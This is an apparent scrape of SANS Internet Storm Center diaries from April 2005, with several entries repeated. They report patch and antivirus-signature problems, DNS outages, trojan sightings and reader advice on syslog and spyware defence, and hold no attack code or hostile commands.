Yesterday, we mentioned in our diary that there may have network connectivity problem when applying MS05-019 patch. Microsoft has published an article revealing that network connectivity between clients and servers may fail when applying MS05-019 patch or Windows Server 2003 Service Pack 1. Accordingly to the article, the following symptoms may occur:
* Inability to connect to terminal servers or to file share access.
* Failure of domain controller replication across WAN links.
* Microsoft Exchange servers cannot connect to domain controllers.
If you experience similar issue, you may want to check out the article at:
http://support.microsoft.com/default.aspx?scid=898060
One reader received a virus email alert with instructions on how to secure the system. It points you to an "anti-virus" website to purchase an anti-virus scanner to protect your system. The website is pretty simple with a virus alert but no virus information. It definitely looks phishy to me:
http://pcvirusalert.com/
A few readers have informed us they still experience DNS poisoning. We will provide more information when available. If you still encounter the same issue, drop us a note.
http://isc.sans.org/diary.php?date=2005-04-22
Trend Micro Virus Sig 594 causes systems to experience high CPU utilization
We have received a few reports from our readers (in particular, thanks to Brad, Anthony and those who prefer to be anonymous) that there are some issues in Trend Micro Virus Sig 594.
All Win 2003 Servers & XP machines with virus sig 594 will cause the systems to experience high 100% CPU utilization.
Apparently, this is due to incompatibility between the scanning engine, the sig file and the platforms.
Trend Micro has provided a new sig 596 to solve this issue.
If you are using Trend Micro antivirus products and your system suddenly lockup, you may want to check this out.
I guess it is a very bad day for those who are using Trend Micro products. Several readers wrote in to say that they were clueless about the "sudden dead" of their systems. It took them several hours and pain to diagnose the problem until they hit our website to spot on the cause. We must thank all our readers who have informed us early so that we can share with the rest of the community as well.
One reader has shared with us that if customers are using Trend OfficeScan and have Outbreak Prevention Services, they can activate Outbreak mode on the server. This will lock down the firewall on the client machines and allow them to only communicate with the OfficeScan server. The reduction in network traffic being processed by the client should allow enough CPU usage to download (albeit, slowly) the update from the server. This could take several hours depending on the number of clients. But if it works, it keeps you from having to touch all 100's, 1000's, or 10's of thousands of clients.
For more information to resolve this issue, please refer to:
http://kb.trendmicro.com/solutions/search/main/search/solutionDetail.asp?solutionId=24263
http://kb.trendmicro.com/solutions/search/main/search/solutionDetail.asp?solutionId=24264
Trojan Vundo
We are seeing apparently a new variant of Trojan Vundo. Symantec has yet to detect it but there is a writeup on it.
http://securityresponse.symantec.com/avcenter/venc/data/trojan.vundo.html
The file matches the description except that the systems were patched for MS04-040.
Below is the result of from VirusTotal scan:
Antivirus Version Update Result
AntiVir 6.30.0.7 04.22.2005 TR/Agent.CS
AVG 718 04.21.2005 Agent.U
BitDefender 7.0 04.23.2005 no virus found
ClamAV devel-20050307 04.22.2005 no virus found
DrWeb 4.32b 04.22.2005 Trojan.Virtumod
eTrust-Iris 7.1.194.0 04.23.2005 Win32/Vundo.AD!DLL!Trojan
eTrust-Vet 11.7.0.0 04.22.2005 Win32.Vundo.AD
Fortinet 2.51 04.23.2005 W32/Agent.FZ-tr
F-Prot 3.16b 04.22.2005 no virus found
Ikarus 2.32 04.22.2005 Trojan.Win32.Agent.CS
Kaspersky 4.0.2.24 04.23.2005 Trojan.Win32.Agent.cs
McAfee 4475 04.22.2005 Generic BackDoor.d
NOD32v2 1.1075 04.23.2005 Win32/Agent.CS
Norman 5.70.10 04.20.2005 no virus found
Panda 8.02.00 04.22.2005 no virus found
Sybari 7.5.1314 04.23.2005 Win32.Vundo.AD
Symantec 8.0 04.22.2005 no virus found
VBA32 3.10.3 04.22.2005 Trojan.Win32.Agent.cs
Let us know if you have experienced the same Trojan.
Update on Problem with MS05-019
Yesterday, we mentioned in our diary that there may have network connectivity problem when applying MS05-019 patch. Microsoft has published an article revealing that network connectivity between clients and servers may fail when applying MS05-019 patch or Windows Server 2003 Service Pack 1. Accordingly to the article, the following symptoms may occur:
* Inability to connect to terminal servers or to file share access.
* Failure of domain controller replication across WAN links.
* Microsoft Exchange servers cannot connect to domain controllers.
If you experience similar issue, you may want to check out the article at:
http://support.microsoft.com/default.aspx?scid=898060
Phishing Site?
One reader received a virus email alert with instructions on how to secure the system. It points you to an "anti-virus" website to purchase an anti-virus scanner to protect your system. The website is pretty simple with a virus alert but no virus information. It definitely looks phishy to me:
http://pcvirusalert.com/
DNS Poisoning
A few readers have informed us they still experience DNS poisoning. We will provide more information when available. If you still encounter the same issue, drop us a note.
0 Comments
Published: 2005-04-22
(This story reported by handler Kyle Haugsness)
We have reports from numerous people about problems with the
worldnic.com nameservers and there appears to have been an outage today.
These nameservers provide authoritative nameservers for Network
Solutions customers that don't have their own DNS servers. This outage
reported today on the NANOG mailing list:
http://www.merit.edu/mail.archives/nanog/msg07136.html
However, there seems to be another potential issue. Numerous sites are
reporting problems resolving names against the worldnic servers. There
seems to be a bug in the Symantec gateway products including the SEF
(Raptor) product line. This seems to be known by the Symantec DNS
engineers and they seem to be working on it.
Here is a public post on the issue from Barry Margolin, CISSP, Sr. Technical Support Engineer at Symantec.
"When I investigated, I found that occasionally the worldnic.com servers
will respond to a query with an empty response with the Truncated flag
set. The problem on our end is that the DNS proxy in our firewall seems
to ignore the Truncated flag, rather than retry using TCP (I've reported
this bug to development), so we cache the NOANSWER response (but we have
a hard-coded 60-second negative cache TTL, so the problem usually clears
up shortly)."
Finally, the Network Solutions problems may be causing issues on BIND
servers. The empty response to the UDP query and the Truncated Flag
should force a DNS server to use TCP and ask the question. Apparently,
TCP sessions to those servers are very slow so it is looking like an
outage (or a high number of SYN-SENT sessions to the worldnic.com
servers).
This issue could be wreaking havoc with e-mail delivery. Receiving mail
servers can't lookup MX records from remote servers and reject mail as
spam. Given the large number of DNS queries some spam filters produce,
this can be an issue.
We are hearing of some problems with the MS05-019 patch. There is a posting by Darryl J. Roberts at
http://archives.neohapsis.com/archives/ntbugtraq/2005-q2/0049.html
Here is what he said:
"After installing the update in Microsoft Security Bulletin MS05-019 on
two servers at a customer site, we are no longer able to connect via VPN
to terminal services on those servers. (Other servers that did not have
the security bulletins from last Tuesday installed can connect via VPN.)
After many hours over two days working with Microsoft Product Support
Services, we discovered that forcing the MTU size down allowed the
client to connect to terminal services. Today Microsoft PSS reported
the they have confirmed that there is a problem with ICMP messages being
incorrectly discarded (other have opened PSS cases about this issue).
This could be why the MTU size is not being set correctly.
There will be an update to the patch in MS05-019, but as of this time,
that update is not available. A Microsoft KB article is being written
and has been assigned the number KB898060, but as to this time, that
article is not publicly available.
I will be uninstalling the update for Security Bulletin MS05-019 from
our customers servers this evening and waiting for the corrected patch
before reinstalling it."
There is also discussion that it doesn't affect all operating systems. Here are some more links:
http://marc.theaimsgroup.com/?l=patchmanagement&r=1&b=200504&w=2
http://www.winserverhelp.com/ftopic22712.html
If anyone has experienced issues with this patch or has other information, please let us know.
We had a reader who posed a very good question about filtering SSL. Any type of encrypted traffic, such as SSL or SSH, does blind your previously installed network security tools and may allow for unwanted traffic to enter your network. However, I feel that filtering encrypted traffic poses some serious issues. I would really like to hear how folks are handling encrypted traffic, espcially when its not possible to terminate it outside or right at the gateway to your network. If you
are filtering, have there been any legal issues that have arisen and what have you found that works.
Lorna Hutcheson
Handler on Duty
http://www.iss-md.com
DNS problems at Network Solutions; Potential Problems with MS05-019; Filtering SSL
DNS problems at Network Solutions
(This story reported by handler Kyle Haugsness)
We have reports from numerous people about problems with the
worldnic.com nameservers and there appears to have been an outage today.
These nameservers provide authoritative nameservers for Network
Solutions customers that don't have their own DNS servers. This outage
reported today on the NANOG mailing list:
http://www.merit.edu/mail.archives/nanog/msg07136.html
However, there seems to be another potential issue. Numerous sites are
reporting problems resolving names against the worldnic servers. There
seems to be a bug in the Symantec gateway products including the SEF
(Raptor) product line. This seems to be known by the Symantec DNS
engineers and they seem to be working on it.
Here is a public post on the issue from Barry Margolin, CISSP, Sr. Technical Support Engineer at Symantec.
"When I investigated, I found that occasionally the worldnic.com servers
will respond to a query with an empty response with the Truncated flag
set. The problem on our end is that the DNS proxy in our firewall seems
to ignore the Truncated flag, rather than retry using TCP (I've reported
this bug to development), so we cache the NOANSWER response (but we have
a hard-coded 60-second negative cache TTL, so the problem usually clears
up shortly)."
Finally, the Network Solutions problems may be causing issues on BIND
servers. The empty response to the UDP query and the Truncated Flag
should force a DNS server to use TCP and ask the question. Apparently,
TCP sessions to those servers are very slow so it is looking like an
outage (or a high number of SYN-SENT sessions to the worldnic.com
servers).
This issue could be wreaking havoc with e-mail delivery. Receiving mail
servers can't lookup MX records from remote servers and reject mail as
spam. Given the large number of DNS queries some spam filters produce,
this can be an issue.
Potential Problems with MS05-019
We are hearing of some problems with the MS05-019 patch. There is a posting by Darryl J. Roberts at
http://archives.neohapsis.com/archives/ntbugtraq/2005-q2/0049.html
Here is what he said:
"After installing the update in Microsoft Security Bulletin MS05-019 on
two servers at a customer site, we are no longer able to connect via VPN
to terminal services on those servers. (Other servers that did not have
the security bulletins from last Tuesday installed can connect via VPN.)
After many hours over two days working with Microsoft Product Support
Services, we discovered that forcing the MTU size down allowed the
client to connect to terminal services. Today Microsoft PSS reported
the they have confirmed that there is a problem with ICMP messages being
incorrectly discarded (other have opened PSS cases about this issue).
This could be why the MTU size is not being set correctly.
There will be an update to the patch in MS05-019, but as of this time,
that update is not available. A Microsoft KB article is being written
and has been assigned the number KB898060, but as to this time, that
article is not publicly available.
I will be uninstalling the update for Security Bulletin MS05-019 from
our customers servers this evening and waiting for the corrected patch
before reinstalling it."
There is also discussion that it doesn't affect all operating systems. Here are some more links:
http://marc.theaimsgroup.com/?l=patchmanagement&r=1&b=200504&w=2
http://www.winserverhelp.com/ftopic22712.html
If anyone has experienced issues with this patch or has other information, please let us know.
Filtering SSL
We had a reader who posed a very good question about filtering SSL. Any type of encrypted traffic, such as SSL or SSH, does blind your previously installed network security tools and may allow for unwanted traffic to enter your network. However, I feel that filtering encrypted traffic poses some serious issues. I would really like to hear how folks are handling encrypted traffic, espcially when its not possible to terminate it outside or right at the gateway to your network. If you
are filtering, have there been any legal issues that have arisen and what have you found that works.
Lorna Hutcheson
Handler on Duty
http://www.iss-md.com
0 Comments
Published: 2005-04-21
All quiet on the MAE Western front
The day was generally quiet on the handlers' list. There was
some ongoing discussion about DNS spoofing. A few people wrote in with
(unrelated) DDOS attacks, now handled by either their providers or their
own border routers.
Michael thought his web server had a Loadable Kernel Module
installed, confirmed by
. I reminded him that
when a system - Linux or Windows - has a loadable kernel module, normal
forensics can't be trusted any more. The LKM has the ability to
completely control what data is returned to the userspace programs, so
even using statically linked forensic tools won't help.
To regain control over the system, you need to boot from a
known good kernel, perhaps from
or the
first installation CD for your operating system.
Ed Skoudis and Lenny Zeltser (two of the other handlers)
cover kernel-mode rootkits in more detail in their book
- well worth reading. They had nothing to do with this shameless
plug.
The handlers would like to thank T.C. at
for his help with
the keylogger application provided by Jan.
-- Handler on Duty,
some ongoing discussion about DNS spoofing. A few people wrote in with
(unrelated) DDOS attacks, now handled by either their providers or their
own border routers.
Loadable Kernel modules
Michael thought his web server had a Loadable Kernel Module
installed, confirmed by
. I reminded him that
when a system - Linux or Windows - has a loadable kernel module, normal
forensics can't be trusted any more. The LKM has the ability to
completely control what data is returned to the userspace programs, so
even using statically linked forensic tools won't help.
To regain control over the system, you need to boot from a
known good kernel, perhaps from
or the
first installation CD for your operating system.
Ed Skoudis and Lenny Zeltser (two of the other handlers)
cover kernel-mode rootkits in more detail in their book
- well worth reading. They had nothing to do with this shameless
plug.
Thanks
The handlers would like to thank T.C. at
for his help with
the keylogger application provided by Jan.
-- Handler on Duty,
0 Comments
Published: 2005-04-20
RealPlayer Patches, DejaVu & some Mailbag Contributions
News you prolly read already ( ; ^ )
Realplayer/RealOne RAM File Processing Buffer Overflow Vulnerability
Secunia Advisory: SA15023
Release Date: 2005-04-20
http://secunia.com/advisories/15023/
Affected Software - most of it;
Security Patch Update For Realplayer Enterprise
http://www.service.real.com/help/faq/security/security041905.html
Stand alone versions;
http://service.real.com/help/faq/security/050419_player/EN/
Stand alone patches for RealOne and RealPlayer for Windows and Macintosh are available if you use the players "Check for Update".
DejaVu
Trojan.Riler.B
"Discovered on: April 19, 2005
Last Updated on: April 20, 2005 01:26:27 PM
LSP's aren't new, but still sorta notable, ymmv;
Trojan.Riler.B is a back door Trojan horse program that installs itself as a layered service provider (LSP), and allows a remote attacker to have unauthorized access to the compromised system."
http://securityresponse.symantec.com/avcenter/venc/data/trojan.riler.b.html
A "Database" that has an embedded Trojan
"Backdoor.Ryejet is a back door Trojan horse that allows unauthorized remote access to a compromised computer. The Trojan also contains rootkit functionality to hide the presence of its files on the compromised computer. The threat may be distributed embedded in a Microsoft Jet Database".
http://securityresponse.symantec.com/avcenter/venc/data/backdoor.ryejet.html
Slashdot referenced news about Bastille from Jay Beale.
http://software.newsforge.com/software/05/04/19/1256244.shtml?tid=78&tid=2&tid=79
"You can take a look at a Web-only demo of this through this link."
http://www.bastille-linux.org/Reporting/audit-report.html">http://www.bastille-linux.org/Reporting/audit-report.html
Bastille folks, thanks for the continuing work!
Bastille;
http://www.bastille-linux.org/
http://www.bastille-linux.org/credits.html
A nice read/analysis from Kaspersky is "Malware Evolution: January - March 2005", by Alexander Gostev , Senior Virus Analyst, Kaspersky Lab. (thanks Swa!)
http://www.viruslist.com/en/analysis?pubid=162454316
Speaking of malware evolution, and DejaVu .....
As resources permit, I surf the Norman Sandbox regularly to try and keep up on trends etcetera.
A trend
I'm writing about is deletion of shares by unidentified malware. I seem to have seen it regularly lately, or I am noticing it more over the last 6 weeks or so.
I assume I'm seeing only a snippet of the malwares complete behavior in the posted Sandbox analysis.
So I read up on related malware and can only come to the conclusion that the deletion of the shares is a part of a total protection package that probably has other usual components like disabling AV etcetera.
So if the shares are disabled, and not renabled later, the exploited system would just disappear from the network ..... unless discovered by a user reporting a problem, or if it's traffic was noticed by some network defenses, or some admin noticed that the system wasn't updating any one of a number of updates it should have been receiving, etcetera. And the system would receive protection from other malware attacking through shares.
I guess my point is that I don't see much if any related information in searching Norman's kb (or anyones, see below) about this behavior as much as the presence of it in Sandbox analysis shows it to exist (in many pieces of "unknown malware"). fwiw, I can think of network security applications and non-security related applications that can point to a system that used to be "visible" but is no longer visible without shares, it's a simple task. "Your task, should you undertake it", is to determine who that person is that should be checking this type of system disappearence .... and who does the follow-up. ( ; ^ )/(apologies to Mission Impossible fans ..).
Fwiw, some of the research I did;
http://sandbox.norman.no/live_2.html?logfile=105241
http://sandbox.norman.no/live_2.html?logfile=105182
A few other share deletion malware references;
W32.Randex.ATX
http://securityresponse.symantec.com/avcenter/venc/data/w32.randex.atx.html
"Drops and executes the file, %Temp%\secure.bat, which deletes the C$, D$, IPC$ and ADMIN$ shares."
BAT.NetStop.Trojan
http://securityresponse.symantec.com/avcenter/venc/data/bat.netstop.trojan.html
Trojan.Delsha
http://securityresponse.symantec.com/avcenter/venc/data/trojan.delsha.html
Backdoor.IRC.Flood.E
http://securityresponse.symantec.com/avcenter/venc/data/backdoor.irc.flood.e.html
Graps
ALIAS: Worm.Win32.Graps, W32/Graps.worm, W32.HLLW.Graps
http://www.f-secure.com/v-descs/graps.shtml
A fwiw, a piece of typical malware that takes the opposite action...... just to illustrate one reason for the behavior I'm describing;
HLLW.Gaobot
"This is a generic description intended to cover common functionality found in the Gaobot series of worms."
http://www.norman.com/Virus/Virus_descriptions/14822/14823/en-us?show=destructivity
"The worm may also re-enable the following administrative shares on the system:
C$
D$
E$
IPC$
ADMIN$ "
Other;
The Art of Computer Virus Research and Defense
by Peter Szor
ISBN: 0321304543; Published: Feb 3, 2005; Copyright 2005
Published by Addison Wesley in collaboration with Symantec Press (c) 2005.
Updates added;
Contributions from the shift MailBag;
Windows 2000 has a "File Selection May Lead to Command Execution" issue with POC out for it.
The POC recommends that "Until a patch becomes available, disable the Web View by going to: Tools -> Folder Options -> Select 'Use Windows classic folders'".
Thanks for the pointer
anonymous"!
APPLE-SA-2005-04-19 Security Update 2005-004 is available for: iSync 1.5
CVE-ID: CAN-2005-0193
"Impact: A buffer overflow in iSync could lead to local privilege escalation". "Security Update 2005-004 may be obtained from the Software Update pane in System Preferences, or Apple's Software Downloads web site:
http://www.apple.com/support/downloads/ "
Thanks Jim!
POC was released for"ICMP Vulnerability Issues in ICMP packets with TCP payloads".
Get patches from your Vendor, read the original/updated Advisory here:
NISCC Vulnerability Advisory 532967/NISCC/ICMP Vulnerability Issues in ICMP packets with TCP payloads
http://www.uniras.gov.uk/niscc/docs/re-20050412-00303.pdf?lang=en
Patrick Nolan with assists from everyone! Thanks!
Realplayer/RealOne RAM File Processing Buffer Overflow Vulnerability
Secunia Advisory: SA15023
Release Date: 2005-04-20
http://secunia.com/advisories/15023/
Affected Software - most of it;
Security Patch Update For Realplayer Enterprise
http://www.service.real.com/help/faq/security/security041905.html
Stand alone versions;
http://service.real.com/help/faq/security/050419_player/EN/
Stand alone patches for RealOne and RealPlayer for Windows and Macintosh are available if you use the players "Check for Update".
DejaVu
Trojan.Riler.B
"Discovered on: April 19, 2005
Last Updated on: April 20, 2005 01:26:27 PM
LSP's aren't new, but still sorta notable, ymmv;
Trojan.Riler.B is a back door Trojan horse program that installs itself as a layered service provider (LSP), and allows a remote attacker to have unauthorized access to the compromised system."
http://securityresponse.symantec.com/avcenter/venc/data/trojan.riler.b.html
A "Database" that has an embedded Trojan
"Backdoor.Ryejet is a back door Trojan horse that allows unauthorized remote access to a compromised computer. The Trojan also contains rootkit functionality to hide the presence of its files on the compromised computer. The threat may be distributed embedded in a Microsoft Jet Database".
http://securityresponse.symantec.com/avcenter/venc/data/backdoor.ryejet.html
Slashdot referenced news about Bastille from Jay Beale.
http://software.newsforge.com/software/05/04/19/1256244.shtml?tid=78&tid=2&tid=79
"You can take a look at a Web-only demo of this through this link."
http://www.bastille-linux.org/Reporting/audit-report.html">http://www.bastille-linux.org/Reporting/audit-report.html
Bastille folks, thanks for the continuing work!
Bastille;
http://www.bastille-linux.org/
http://www.bastille-linux.org/credits.html
A nice read/analysis from Kaspersky is "Malware Evolution: January - March 2005", by Alexander Gostev , Senior Virus Analyst, Kaspersky Lab. (thanks Swa!)
http://www.viruslist.com/en/analysis?pubid=162454316
Speaking of malware evolution, and DejaVu .....
As resources permit, I surf the Norman Sandbox regularly to try and keep up on trends etcetera.
A trend
I'm writing about is deletion of shares by unidentified malware. I seem to have seen it regularly lately, or I am noticing it more over the last 6 weeks or so.
I assume I'm seeing only a snippet of the malwares complete behavior in the posted Sandbox analysis.
So I read up on related malware and can only come to the conclusion that the deletion of the shares is a part of a total protection package that probably has other usual components like disabling AV etcetera.
So if the shares are disabled, and not renabled later, the exploited system would just disappear from the network ..... unless discovered by a user reporting a problem, or if it's traffic was noticed by some network defenses, or some admin noticed that the system wasn't updating any one of a number of updates it should have been receiving, etcetera. And the system would receive protection from other malware attacking through shares.
I guess my point is that I don't see much if any related information in searching Norman's kb (or anyones, see below) about this behavior as much as the presence of it in Sandbox analysis shows it to exist (in many pieces of "unknown malware"). fwiw, I can think of network security applications and non-security related applications that can point to a system that used to be "visible" but is no longer visible without shares, it's a simple task. "Your task, should you undertake it", is to determine who that person is that should be checking this type of system disappearence .... and who does the follow-up. ( ; ^ )/(apologies to Mission Impossible fans ..).
Fwiw, some of the research I did;
http://sandbox.norman.no/live_2.html?logfile=105241
http://sandbox.norman.no/live_2.html?logfile=105182
A few other share deletion malware references;
W32.Randex.ATX
http://securityresponse.symantec.com/avcenter/venc/data/w32.randex.atx.html
"Drops and executes the file, %Temp%\secure.bat, which deletes the C$, D$, IPC$ and ADMIN$ shares."
BAT.NetStop.Trojan
http://securityresponse.symantec.com/avcenter/venc/data/bat.netstop.trojan.html
Trojan.Delsha
http://securityresponse.symantec.com/avcenter/venc/data/trojan.delsha.html
Backdoor.IRC.Flood.E
http://securityresponse.symantec.com/avcenter/venc/data/backdoor.irc.flood.e.html
Graps
ALIAS: Worm.Win32.Graps, W32/Graps.worm, W32.HLLW.Graps
http://www.f-secure.com/v-descs/graps.shtml
A fwiw, a piece of typical malware that takes the opposite action...... just to illustrate one reason for the behavior I'm describing;
HLLW.Gaobot
"This is a generic description intended to cover common functionality found in the Gaobot series of worms."
http://www.norman.com/Virus/Virus_descriptions/14822/14823/en-us?show=destructivity
"The worm may also re-enable the following administrative shares on the system:
C$
D$
E$
IPC$
ADMIN$ "
Other;
The Art of Computer Virus Research and Defense
by Peter Szor
ISBN: 0321304543; Published: Feb 3, 2005; Copyright 2005
Published by Addison Wesley in collaboration with Symantec Press (c) 2005.
Updates added;
Contributions from the shift MailBag;
Windows 2000 has a "File Selection May Lead to Command Execution" issue with POC out for it.
The POC recommends that "Until a patch becomes available, disable the Web View by going to: Tools -> Folder Options -> Select 'Use Windows classic folders'".
Thanks for the pointer
anonymous"!
APPLE-SA-2005-04-19 Security Update 2005-004 is available for: iSync 1.5
CVE-ID: CAN-2005-0193
"Impact: A buffer overflow in iSync could lead to local privilege escalation". "Security Update 2005-004 may be obtained from the Software Update pane in System Preferences, or Apple's Software Downloads web site:
http://www.apple.com/support/downloads/ "
Thanks Jim!
POC was released for"ICMP Vulnerability Issues in ICMP packets with TCP payloads".
Get patches from your Vendor, read the original/updated Advisory here:
NISCC Vulnerability Advisory 532967/NISCC/ICMP Vulnerability Issues in ICMP packets with TCP payloads
http://www.uniras.gov.uk/niscc/docs/re-20050412-00303.pdf?lang=en
Patrick Nolan with assists from everyone! Thanks!
0 Comments
Published: 2005-04-19
(1654GMT)**I would like to point out this is a platform-independent discussion today; we'd like to hear from Windows, *nix, and network administrators**
To 'borrow' from the Great One's format yesterday, we are having an ongoing discussion about syslog'ing. We thought we'd open it up to you, get your feedback, and see what is working in the world today. (We will not be disclosing company names to help protect infrastructure). Submit your ideas to us on our 'Contact' page and we'll get it added in
Rafael Hashimoto mentions one thing I'd like to get up front: "The most important decision about syslogging is what are you going to do with all the fine data that you gathered. Logging without monitoring is useless, so a proper policy, procedures and tools to manage them is essential." While some would disagree, policies and procedures are critical to a solid information security implementation. If, for nothing else, historical data is there for review and inspection purposes.
(1526GMT)
While Christopher uses Syslog's to keep up with what's going on in his world, Ketih primarily uses Kiwi to help gather it for analysis. Whatever method is used to gather the information, it is best to be reviewed on a regular basis, as Rafael mentioned :-)
Jean-Francois has been using syslog-ng for better than 4 years now, and it works great. He mentioned also "playing with php-syslog-ng with added functionalities developped by my good friend Jason Taylor (http://deathstar.com/PhpSyslogNG/)"
One reader, who requested remain anonymous, submitted an excellent site, well worth the visit
-
-VB.NET - (http://scaleovenstove.blogspot.com/2005/04/how-to-make-your-own-syslog-sever-in.html)
(1725GMT) Nathan Bates wrote in with some good ideas, as well as a great tool for parsing, correlating, and notifying for events. Using syslogd, and Logic, (the tool mentioned in the link below) he runs two syslogd servers to stay on top of what's going on.
https://engineering.purdue.edu/ECN/Resources/Documents/UNIX/evtsys
(1958GMT) Dean De Beer writes "We use Eventsentry from Netikus. We are a Windows only shop (we have a few Linux Snort IDSes though). Eventsentry installs a service on the servers and/or workstations and logs all events or only specified events back to a MySQL database. It has an .asp or .php web front-end that allows for reading and querying the databases. It's pretty easy to configure too."
Cornelius Bartke writes "it is of paramount importance that syslog entries are made with the correct time stamp. If no ntp service is available, GPS- or radio-controlled clocks ("DCF77") are alternatives to keep the hosts synchronized." Good point, log analysis with accurate and synchronized times is critical.
(2115GMT) Another reader submits that they "use syslogd and have it rolled into our SSL-secured MRTG front-end, which gives us a one stop place to view all of our gathered network statistics." Event correlation for reviewing purposes(one-stop reviewing, so to speak) makes life much easier in determing what's going on in the world.
(2359GMT)
To say the least it has been an interesting day, with some great input from you, the readers. First off, I'd like to send a big "Thank you" out to all those who submitted today. I hope that I have conveyed your messages accurately. Second, it is the hope of all the Handlers that we have passed on some good information to give you some new ideas, tools, and processes to better protect your network and systems. Last, I'd like to say "Thank you" to my co-Handlers for keeping me on my toes.
Have a great night/day!
Tony Carothers
Information Systems Support, Inc.
Handler on Duty
tony dot carothers at gmail dot com
Syslog'n with the best of 'em;
Syslog - What's your flavor?
(1654GMT)**I would like to point out this is a platform-independent discussion today; we'd like to hear from Windows, *nix, and network administrators**
To 'borrow' from the Great One's format yesterday, we are having an ongoing discussion about syslog'ing. We thought we'd open it up to you, get your feedback, and see what is working in the world today. (We will not be disclosing company names to help protect infrastructure). Submit your ideas to us on our 'Contact' page and we'll get it added in
Rafael Hashimoto mentions one thing I'd like to get up front: "The most important decision about syslogging is what are you going to do with all the fine data that you gathered. Logging without monitoring is useless, so a proper policy, procedures and tools to manage them is essential." While some would disagree, policies and procedures are critical to a solid information security implementation. If, for nothing else, historical data is there for review and inspection purposes.
(1526GMT)
While Christopher uses Syslog's to keep up with what's going on in his world, Ketih primarily uses Kiwi to help gather it for analysis. Whatever method is used to gather the information, it is best to be reviewed on a regular basis, as Rafael mentioned :-)
Jean-Francois has been using syslog-ng for better than 4 years now, and it works great. He mentioned also "playing with php-syslog-ng with added functionalities developped by my good friend Jason Taylor (http://deathstar.com/PhpSyslogNG/)"
One reader, who requested remain anonymous, submitted an excellent site, well worth the visit
-
-VB.NET - (http://scaleovenstove.blogspot.com/2005/04/how-to-make-your-own-syslog-sever-in.html)
(1725GMT) Nathan Bates wrote in with some good ideas, as well as a great tool for parsing, correlating, and notifying for events. Using syslogd, and Logic, (the tool mentioned in the link below) he runs two syslogd servers to stay on top of what's going on.
https://engineering.purdue.edu/ECN/Resources/Documents/UNIX/evtsys
(1958GMT) Dean De Beer writes "We use Eventsentry from Netikus. We are a Windows only shop (we have a few Linux Snort IDSes though). Eventsentry installs a service on the servers and/or workstations and logs all events or only specified events back to a MySQL database. It has an .asp or .php web front-end that allows for reading and querying the databases. It's pretty easy to configure too."
Cornelius Bartke writes "it is of paramount importance that syslog entries are made with the correct time stamp. If no ntp service is available, GPS- or radio-controlled clocks ("DCF77") are alternatives to keep the hosts synchronized." Good point, log analysis with accurate and synchronized times is critical.
(2115GMT) Another reader submits that they "use syslogd and have it rolled into our SSL-secured MRTG front-end, which gives us a one stop place to view all of our gathered network statistics." Event correlation for reviewing purposes(one-stop reviewing, so to speak) makes life much easier in determing what's going on in the world.
(2359GMT)
Summary of the days activities
To say the least it has been an interesting day, with some great input from you, the readers. First off, I'd like to send a big "Thank you" out to all those who submitted today. I hope that I have conveyed your messages accurately. Second, it is the hope of all the Handlers that we have passed on some good information to give you some new ideas, tools, and processes to better protect your network and systems. Last, I'd like to say "Thank you" to my co-Handlers for keeping me on my toes.
Have a great night/day!
Tony Carothers
Information Systems Support, Inc.
Handler on Duty
tony dot carothers at gmail dot com
0 Comments
Published: 2005-04-18
Be Careful What You Filter and Anti-Spyware Infrastructure Ideas
*** Be Careful With Your Blocking Rules ***
An alert reader mentioned the importance of carefully constructing filters for evil sites. From a previous diary, he saw some evil IP addresses that he wanted to block access to for his users. He noticed that all of the evil IP addrs were in the same /16 range, so he just applied a filter for the entire range. Ooops! Turns out that a legitimate large auction site, which will remain nameless for the purposes of this discussion, was also in that range. His users complained when they couldn't access their auctions to sell pez dispensers and such. Moral of the story, "Sometimes good folks reside in bad neighborhoods." In other words, be careful what you filter.
*** Anti-Spyware Solutions based on Infrastructure ***
Today, we solicited ideas for tweaking infrastructure components to thwart the menace of spyware. I'm not talking about the latest anti-spyware products... darned near every vendor has released a specific behavior- or signature-based anti-spyware solution. Instead, we're interested in hearing other non-product-specific solutions. For example, we asked if you have tricked out your web proxy to detect or even stop spyware? How? Have you diddled with your Windows file system perms to stop spyware while still having a usable machine? Have you stumbled upon the ideal Active Directory settings to stop the spyware slaughter? Please don't send solutions like, "I just use this anti-spyware product, and boy am I thrilled." Also, don't send us an answer like, "I use Mac OS X... What's all this spyware fuss about?" or the Mike-Poor-like solution, "First, insert a FreeBSD CD into your drive..." We're interested in infrastructure-related solutions for Windows machines, where the spyware threat is the biggest.
I've summarized and lightly consolidated the responses we got below. We're pretty fully loaded on the issue, so no further input on it for now, please.
*** UPDATE ***
Man, I love Storm Center readers. Within the first hour, we got some really good ideas for spyware prevention and detection, infrastructure-style. Here's a summary of the best stuff so far:
1) James uses a squid proxy for all of his outbound surfers. Then, he runs an anti-virus tool with spyware sigs on the squid cache to catch a whole bunch of nasties on their way in, including a bunch of downloader trojans and redirection exploits. Now, he enforces the proxy settings in the browser using AD for all of his IE users.
2) Mike Larson goes further, trying to move all users to Firefox. He changed the default home page for IE to a warning of the dangers of using it, along with an icon to download Firefox. For those corporate apps that really require IE, he created a custom shortcut that opens IE. Also, to help make sure things stay this way, he config'ed IE to NOT check that it is the default browser.
3) Mike Larson goes still further by setting up his folks as "restricted users". To help make that happen, another reader (who wanted to be anonymous) offers some good ideas:
a) Make sure all users have all of the network printers in their vacinity already installed. Otherwise, they'll complain that they need local admin so they can print to some new-fangled printer in their cubicle.
b) Make sure Flash, ShockWave, and other common or popular required plug-ins are already installed.
c) Make sure the Help Desk has some type of remote desktop capability. This will surely help with the printer issue (a) above, which I've seen burn a bunch of orgs.
d) Don't take the easy way out for older apps by just giving people Power Users or local Admin privs. Instead, run cacls.exe and see what is really required. It's better to do this work proactively rather than reactively responding to a bunch of spyware.
4) Aaron Hanson cites the usefulness of a DNS blackhole for common spyware domain names. You can resolve requests for some of the worst offenders to a website of your own hosting a little 1x1 gif file, or some indication to your users about how much you love them (I added that twist, not Aaron). For more info on this stellar idea, check out http://www.bleedingsnort.com/forum/viewtopic.php?forum=11&showtopic=98 , where Aaron and a bunch of other folks dialogue about how to make this manageable.
**NEW: David Glosser sent a nice follow-up stressing how carefully the "Black Hole DNS Spyware Project" is to only include domains actually associated with spwyare and malware. They don't want to include ad servers in the list, since sometimes they aren't appropriate to block. What's more, updates to this blackhole list are at http://www.bleedingsnort.com/forum/viewtopic.php?forum=11&showtopic=774 . Thanks a lot, guys!
5) Steve McDougald mentioned his use of the open source tools like nmap, grep, and perl to locate systems on the network. Then, he uses pslist to see if any known spyware processes are running on the boxes. If so, he uses pskill to terminate them. He's even got a MySQL database to keep a list of discovered machines, and actions his scripts have taken on them.
